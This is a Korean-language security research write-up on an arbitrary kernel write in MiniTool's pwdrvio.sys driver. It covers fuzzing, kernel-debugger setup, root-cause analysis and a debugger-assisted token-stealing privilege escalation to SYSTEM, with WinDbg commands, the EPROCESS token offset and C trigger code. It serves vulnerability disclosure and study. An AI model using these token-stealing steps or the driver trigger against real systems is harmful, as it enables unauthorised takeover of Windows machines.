
프로젝트 날짜: 2026년 2월 / MiniTool의 커널 드라이버 내 메모리 손상 취약점. 권한 상승으로 활용될 수 있는 디버거 지원 임의 커널 쓰기 프리미티브를 시연합니다.
MiniTool의 pwdrvio.sys 커널 드라이버 내 커널 write-what-where 조건. 권한 상승으로 활용될 수 있는 디버거 지원 임의 커널 쓰기 프리미티브를 시연합니다.
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
임의 커널 쓰기 → 로컬 권한 상승(LPE)
심각도: 높음(HIGH)
CVSS 3.1 점수: 7.8 (LPE)
CVSS 벡터 문자열:
LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
공격 전제 조건:
악용 결과: LPE - 디버거 지원 권한 상승 시연(NT AUTHORITY / SYSTEM), 완전한 시스템 장악
날짜: 2026년 2월 5일
활동: 사용자 정의 Python 퍼저를 사용한 체계적인 커널 드라이버 퍼징
발견 과정:
대상 선택:
pwdrvio.sys를 가장 오래된 드라이버로 식별(타임스탬프: 2009년 6월 16일)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0초기 퍼징:
ctypes를 사용한 Python 퍼저 개발WriteFile/DeviceIoControl을 통해 무작위 데이터 전송검증기 활성화:
검증기 구성: ```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### WinDbg 커널 디버깅 설정
**날짜:** 2026년 2월 5-6일
**활동:** 근본 원인 분석을 위한 커널 디버깅 환경 구축
**설정 절차:**
1. **VMware 직렬 포트 구성:** ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
게스트 OS 구성: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0
호스트 WinDbg 연결: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓
Result: "Kernel Debugger connection established."
날짜: 2026년 2월 6일
활동: 임의 커널 쓰기 프리미티브 식별
분석 단계:
모듈 분석: ```
1: kd> lm m pwdrvio
start end module name
fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio
DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8
[03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
취약한 명령어 발견:
쓰기 핸들러에 중단점 설정: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g
Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
중대한 발견: 임의 쓰기 프리미티브 식별됨!
RAX)를 주소 [R11-0x10]에 기록함R11은 스택 프레임에서 로드됨: mov r11, qword ptr [rbp+0xB8h]레지스터 상태 분석: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here
날짜: 2026년 2월 6-7일
활동: User-After-Free 취약점에서 write-what-where 조건까지 추적
메모리 손상 체인:
IRP 할당: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets
버퍼 관계: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
분석: 사용자 버퍼는 RBP 프레임에서 직접 접근할 수 없음
RBP+0xB8 오프셋은 사용자 제어 버퍼를 가리키지 않음UAF(Use-After-Free) 조건:
드라이버는 IRP 구조체에 댕글링 포인터를 유지함: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
날짜: 2026년 2월 7-8일
활동: 토큰 스틸링 기법 개발
익스플로잇 전략:
목표: 현재 프로세스 토큰을 SYSTEM 토큰으로 덮어쓰기
Windows EPROCESS 구조:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location
**토큰 탈취 절차:**
1. **SYSTEM 프로세스 찾기:** ```
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
공격자 프로세스 찾기: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Standard user token
대상 주소 계산: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target
토큰 덮어쓰기 수행: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!
실행 복원: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution
결과: 프로세스에 이제 SYSTEM 권한이 있습니다!
위치: pwdrvio.sys 오프셋 0x1641
어셈블리:```assembly
pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP
pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!
**트리거 메커니즘:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
악용 제한 사항:
이 취약점은 안정적인 악용을 위해 커널 디버깅 도구가 필요합니다. 그 이유는 다음과 같습니다:
레지스터 제어 문제:
R11은 [RBP+0xB8]에서 로드됨RBP는 커널 풀의 IRP 스택 프레임을 가리킴[RBP+0xB8]을 직접 제어할 수 없음풀 메모리 레이아웃: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)
필수 수동 개입:
R11 레지스터를 대상 주소로 설정RAX 레지스터를 SYSTEM 토큰 값으로 설정